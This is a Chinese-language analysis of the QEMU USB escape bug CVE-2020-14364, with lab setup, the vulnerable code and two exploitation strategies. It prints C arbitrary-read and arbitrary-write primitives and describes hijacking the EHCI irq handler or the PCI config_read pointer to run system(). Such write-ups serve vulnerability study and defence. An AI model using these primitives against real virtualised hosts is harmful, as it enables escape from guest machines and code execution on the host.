CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路
字数 966 2025-08-20 18:17:53
CVE-2020-14364 QEMU逃逸漏洞分析与利用
漏洞概述
CVE-2020-14364是QEMU中的一个USB设备模拟漏洞,存在于QEMU 4.2.1及更早版本中。该漏洞允许虚拟机内的恶意用户通过精心构造的USB数据包实现越界读写,最终可能导致虚拟机逃逸,在宿主机上执行任意代码。
环境搭建
制作qcow2虚拟机镜像
qemu-img create -f qcow2 ubuntu-server.qcow2 5G
sudo kvm -m 1028 -cdrom /path/to/ubuntu-18.04.5-live-server-amd64.iso -drive file=ubuntu-server.qcow2,if=virtio -net nic,model=virtio -net tap,script=no -boot d -vnc :0
编译QEMU源码
- 安装依赖:
wget https://spice-space.org/download/releases/spice-protocol-0.12.10.tar.bz2
tar xvf spice-protocol-0.12.10.tar.bz2
cd spice-protocol-0.12.10/
./configure
make
sudo make install
wget http://downloads.us.xiph.org/releases/celt/celt-0.5.1.3.tar.gz
tar zxvf celt-0.5.1.3.tar.gz
cd celt-0.5.1.3/
./configure
make
sudo make install
sudo apt install libjpeg-dev libsasl2-dev
wget https://spice-space.org/download/releases/spice-server/spice-0.12.7.tar.bz2
tar xvf spice-0.12.7.tar.bz2
cd spice-0.12.7/
./configure
make
sudo make install
- 编译QEMU:
git clone git://git.qemu-project.org/qemu.git
cd qemu
git checkout tags/v4.2.1
mkdir -p bin/debug/naive
cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror --enable-spice
make
启动脚本
/home/osboxes/study/vul/qemu-14364/src/qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 \
-machine q35 \
-m 1G \
-hda ubuntu-server.qcow2 \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::5555-:22 \
-enable-kvm \
-usb \
-drive if=none,format=raw,id=disk1,file=/home/osboxes/study/vul/qemu-14364/disk_01.img \
-device usb-storage,drive=disk1 \
-device qxl-vga
漏洞分析
关键数据结构
struct USBDevice {
// ...
uint8_t setup_buf[8];
uint8_t data_buf[4096]; // 固定大小的缓冲区
int32_t setup_state;
int32_t setup_len; // 可被控制的长度
int32_t setup_index;
// ...
};
漏洞点
漏洞位于hw/usb/core.c的do_token_setup函数中:
static void do_token_setup(USBDevice *s, USBPacket *p) {
// ...
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6]; // [1] 用户可控的长度
if (s->setup_len > sizeof(s->data_buf)) { // [2] 检查但未修正
fprintf(stderr, "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
s->setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}
// ...
}
随后在do_token_in和do_token_out函数中使用这个长度进行内存操作:
static void do_token_in(USBDevice *s, USBPacket *p) {
// ...
case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {
int len = s->setup_len - s->setup_index; // [3] 计算长度
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len); // [4] 越界读
// ...
}
// ...
}
漏洞利用
利用思路一:通过IRQ劫持控制流
-
设置漏洞触发环境
- 映射USB设备内存
- 设置EHCIState结构中的opreg基地址
-
越界读
- 通过控制
setup_len和setup_index实现任意地址读取 - 泄露USBDevice对象地址和其他关键数据结构地址
- 通过控制
-
越界写
- 修改EHCIState->irq指针
- 伪造IRQState结构,将handler设置为system@plt
-
触发执行
- 通过mmio读写触发ehci_update_irq
- 最终执行system("xcalc")
利用思路二:通过PCI配置劫持控制流
-
泄露关键地址
- 通过越界读获取USBDevice对象地址
- 查找"qxl-vga"字符串定位PCIDevice结构
-
修改函数指针
- 覆盖PCIDevice->config_read为system@plt
- 在虚拟机内读取pci配置寄存器触发
-
ROP利用
- 当直接调用遇到参数问题时,使用ROP链
- 包含栈切换和参数设置
利用代码关键部分
任意读原语实现
unsigned long arb_read(uint64_t target_addr) {
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
// 第一次写:设置setup_index为0xfffffff8-0x1010
do_copy_write(0, 0x1010, 0xfffffff8-0x1010);
// 第二次写:覆盖setup字段
*(unsigned long *)(data_buf) = 0x2000000000000080; // setup[0] = USB_DIR_IN
unsigned int target_offset = target_addr - data_buf_addr;
do_copy_write(0x8, 0xffff, target_offset - 0x1018);
// 执行读操作
do_copy_read();
return *(unsigned long *)(data_buf);
}
任意写原语实现
void arb_write(uint64_t target_addr, uint64_t payload) {
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
// 计算偏移
unsigned long offset = target_addr - data_buf_addr;
// 第一次写:设置setup_len和setup_index
do_copy_write(0, offset+0x8, offset-0x1010);
// 第二次写:写入payload
*(unsigned long *)(data_buf) = payload;
do_copy_write(0, 0xffff, 0);
}
参考链接
总结
CVE-2020-14364漏洞利用的关键在于:
- 通过控制USB协议中的长度字段实现越界读写
- 泄露关键数据结构地址构建利用原语
- 通过劫持函数指针或构造ROP链实现代码执行
- 两种利用思路分别针对不同的QEMU组件(EHCI IRQ和PCI配置)
漏洞修复方案是确保setup_len不超过data_buf大小并正确重置,后续QEMU版本已修复此问题。